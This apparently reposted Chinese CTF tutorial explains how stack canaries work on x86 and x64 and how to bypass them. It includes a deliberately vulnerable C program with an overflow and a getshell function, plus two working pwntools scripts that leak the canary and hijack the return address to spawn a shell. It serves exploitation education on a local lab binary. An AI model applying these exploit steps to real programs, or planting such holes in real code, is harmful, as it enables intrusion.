Canary
參考鏈接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/
0x1 簡介:
用于防止堆疊溢位被利用的一種方法,原理是在堆疊的ebp下面放一個亂數,在函式回傳之前會檢查這個數有沒有被修改,就可以檢測是否發生堆疊溢位了,
0x2 原理:
在堆疊底放一個亂數,在函式回傳時檢查是否被修改,具體實作如下:
x86 :
在函式序言部分插入canary值:
mov eax,gs:0x14
mov DWORD PTR [ebp-0xc],eax
在函式回傳之前,會將該值取出,檢查是否修改,這個操作即為檢測是否發生堆疊溢位,
mov eax,DWORD PTR [ebp-0xc]
xor eax,DWORD PTR gs:0x14
je 0x80492b2 <vuln+103> # 正常函式回傳
call 0x8049380 <__stack_chk_fail_local> # 呼叫出錯處理函式
x86 堆疊結構大致如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
ebp => +-----------------+
| ebx |
ebp-4 => +-----------------+
| unknown |
ebp-8 => +-----------------+
| canary value |
ebp-12 => +-----------------+
| 區域變數 |
Low | |
Address
x64 :
函式序言:
mov rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax
函式回傳前:
mov rax,QWORD PTR [rbp-0x8]
xor rax,QWORD PTR fs:0x28
je 0x401232 <vuln+102> # 正常函式回傳
call 0x401040 <__stack_chk_fail@plt> # 呼叫出錯處理函式
x64 堆疊結構大致如下:
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
rbp => +-----------------+
| canary value |
rbp-8 => +-----------------+
| 區域變數 |
Low | |
Address
0x3 繞過
0x3.1 泄露堆疊中的Canary
Canary 設計為以位元組 \x00 結尾,本意是為了保證 Canary 可以截斷字串, 泄露堆疊中的 Canary 的思路是覆寫 Canary 的低位元組,來列印出剩余的 Canary 部分, 這種利用方式需要存在合適的輸出函式,并且可能需要第一溢位泄露 Canary,之后再次溢位控制執行流程,
利用示例
源代碼如下:
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
編譯為 32bit 程式,開啟 NX,ASLR,Canary 保護,需要關閉PIE
gcc -m32 -no-pie ex2.c -o ex2-x86
linux默認開啟 NX,ASLR,Canary 保護
首先通過覆寫 Canary 最后一個 \x00 位元組來列印出 4 位的 Canary 之后,計算好偏移,將 Canary 填入到相應的溢位位置,實作 Ret 到 getshell 函式中
EXP
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2-x86'
# context.log_level = 'debug'
io = process('./ex2-x86')
get_shell = ELF("./ex2-x86").sym["getshell"] # 這里是得到getshell函式的起始地址
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload) # 這里使用 sendline() 會在payload后面追加一個換行符 '\n' 對應的十六進制就是0xa
io.recvuntil("A"*100)
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # 這里減去0xa是為了減去上面的換行符,得到真正的 Canary
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # 使用getshell的函式地址覆寫原來的回傳地址
io.send(payload)
io.recv()
io.interactive()
編譯為64位程式:
gcc -no-pie ex2.c -o ex2-x64
EXP
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2-x64'
# context.log_level = 'debug'
io = process('./ex2-x64')
get_shell = ELF("./ex2-x64").sym["getshell"] # 這里是得到getshell函式的起始地址
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100 + "A" * 4 # 這里再加4個 A 是因為 100 模 8 是 4 ,如果不補齊 8 位,則無法覆寫canary后面的 \x00
io.sendline(payload) # 這里使用 sendline() 會在payload后面追加一個換行符 '\n' 對應的十六進制就是0xa
io.recvuntil("A"*104)
Canary = u64(io.recv(8))-0xa # 這里減去0xa是為了減去上面的換行符,得到真正的 Canary
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # 使用getshell的函式地址覆寫原來的回傳地址
io.send(payload)
io.recv()
io.interactive()
0x3.2 one-by-one 爆破 Canary
感覺用處不大,具體的可以看參考鏈接
0x3.3 劫持__stack_chk_fail 函式
已知 Canary 失敗的處理邏輯會進入到 __stack_chk_fail 函式,__stack_chk_fail 函式是一個普通的延遲系結函式,可以通過修改 GOT 表劫持這個函式,
參見 ZCTF2017 Login,利用方式是通過 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再進行 ROP 利用
參考鏈接:
https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/
https://jontsang.github.io/post/34549.html
0x3.4 覆寫 TLS 中儲存的 Canary 值
已知 Canary 儲存在 TLS 中,在函式回傳前會使用這個值進行對比,當溢位尺寸較大時,可以同時覆寫堆疊上儲存的 Canary 和 TLS 儲存的 Canary 實作繞過,
參見 StarCTF2018 babystack
參考鏈接:
https://jontsang.github.io/post/34550.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/caozuo/140829.html
標籤:Linux
上一篇:使用 linux kernel +busybox 定制linux系統
下一篇:Linux基本操作
